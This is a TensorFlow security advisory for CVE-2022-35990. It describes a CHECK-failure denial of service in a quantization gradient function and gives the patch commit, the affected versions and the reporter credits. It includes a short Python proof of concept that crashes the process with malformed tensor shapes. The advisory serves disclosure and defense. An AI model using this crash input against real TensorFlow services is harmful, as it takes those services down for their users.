CVE-2022-35990

Impact

### Impact When `tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient` receives input `min` or `max` of rank other than 1, it gives a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf arg_0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None) arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None) arg_2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None) arg_3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None) arg_4=8 arg_5=False arg_6=None tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient(gradients=arg_0, inputs=arg_1, min=arg_2, max=arg_3, num_bits=arg_4, narrow_range=arg_5, name=arg_6) ``` ### Patches We have patched the issue in GitHub commit [f3cf67ac5705f4f04721d15e485e192bb319feed](https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by - 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology - Neophytos Christou, Secure Systems Labs, Brown University

Affected packages

Affected products

Weakness classification

References

• NVD record
• CVE.org record
• GitHub advisory
• https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed
• https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h7ff-cfc9-wmmh
• https://github.com/advisories/GHSA-h7ff-cfc9-wmmh
• https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
• https://nvd.nist.gov/vuln/detail/CVE-2022-35990